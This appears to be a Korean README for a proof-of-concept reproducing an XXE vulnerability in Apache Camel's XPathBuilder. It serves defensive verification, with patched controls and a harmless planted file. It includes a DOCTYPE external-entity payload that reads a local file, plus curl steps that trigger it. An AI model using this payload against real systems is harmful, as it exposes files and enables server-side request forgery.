
Apache Camel camel-xpath(documentType=InputSource)의 CVE-2026-85250에 대한 실행 가능한 XXE 개념 증명으로, Spring Boot 및 Quarkus의 취약 버전과 수정 버전 데모를 포함합니다.
documentType=InputSource)documentType가 InputSource로 설정된 경우 XPathBuilder가 페이로드를 javax.xml.xpath에 그대로 넘기고, 이는 JDK 기본값을 사용하여 자체적인 DocumentBuilder를 생성하는 Apache Camel 취약점에 대한 실행 가능한 개념 증명(PoC) 재현기입니다. 따라서 Camel의 기본 문서 타입에 적용된 강화 조치는 우회되었습니다. 기본 타입에서는 거부되는 DOCTYPE 선언이 여기서는 허용되었고, 선언된 외부 엔티티가 평가된 문서로 해석 및 확장되었습니다. XML이 이러한 표현식에 도달하는 외부 발신자는 Camel 프로세스가 읽을 수 있는 파일을 읽고, 프로세스가 지정한 호스트로 요청을 보내도록 할 수 있습니다.
| 런타임 | 디렉터리 | 스택 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (영향받음; 4.22.1에서 수정) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, 영향받음; 수정된 대조군 CQ 3.40.0 / Camel 4.22.1) |
두 모듈 모두 영향받는 동작 및 수정된 동작을 보여줍니다.
무해한 "비밀" 파일이 디스크에 배치됩니다(cve-2026-85250-secret.txt, 마커 문자열 포함). 이는 Camel 프로세스가 읽을 수 있는 로컬 파일을 대신합니다. 공격자는 InputStream으로 XML을 전송하며(이것이 InputSource로 변환됨), 해당 파일을 참조하는 외부 엔티티를 가진 DOCTYPE를 포함합니다:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
라우트는 본문에 대해 xpath("/test/text()").documentType(InputSource.class)를 평가합니다.
InputSource 파서(JDK 기본값)가 외부 엔티티를 확인하므로 XPath 결과는
파일의 내용이 되며, 마커가 유출됩니다.DOCTYPE이 강화된 파서(기본 문서 타입이 사용하는 것과 동일한 파서)에 의해 거부되므로,
엔티티가 확인되기 전에 평가가 실패합니다.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (XML 외부 엔티티 참조의 부적절한 제한) |
| 심각도 | HIGH |
| 공격 벡터 | documentType=InputSource로 구성된 XPath 표현식에 의해 평가되는 신뢰할 수 없는 XML |
| 영향 | XXE: 외부 엔티티를 통한 로컬 파일 노출 및 서버 측 요청 위조 |
| 영향받는 버전 | 4.0.0 이상 4.18.5 미만, 4.19.0 이상 4.22.1 미만 |
| 수정된 버전 | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24475 |
| 크레딧 | Claude Security Scan Tool |
권고문: https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder는 이제 InputSource(및 SAXSource)를
toHardenedDocument()를 통해 라우팅하며, 이 메서드는 XPath 엔진에 전달하기 전에 기본 문서 타입이 이미 사용하는
**동일한 강화된 DocumentBuilderFactory**를 사용하여 이를 org.w3c.dom.Document로 변환합니다. 따라서 두 문서
타입 모두 동일한 구성으로 파싱되며 DOCTYPE은 거부됩니다. InputSource 타입은 이제 기본 타입의 문서화된
우회 수단도 공유한다는 점에 유의하십시오. 즉, 기본 타입을 완화하는 동일한 DocumentBuilderFactory 시스템
속성이 이 타입도 완화합니다.
신뢰할 수 없는 XML에 대해 평가되는 표현식에는 documentType=InputSource를 사용하지 마십시오. 기본 문서
타입은 이미 DOCTYPE을 거부합니다.
이 저장소는 교육 및 방어 목적으로 게시됩니다. Apache Camel 사용자가 취약점을 이해하고, 영향을 받는지 확인하고, 업그레이드가 이를 해결하는지 검증할 수 있도록 돕기 위함입니다. "secret" 파일은 무해한, 심어 놓은 표식입니다. 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.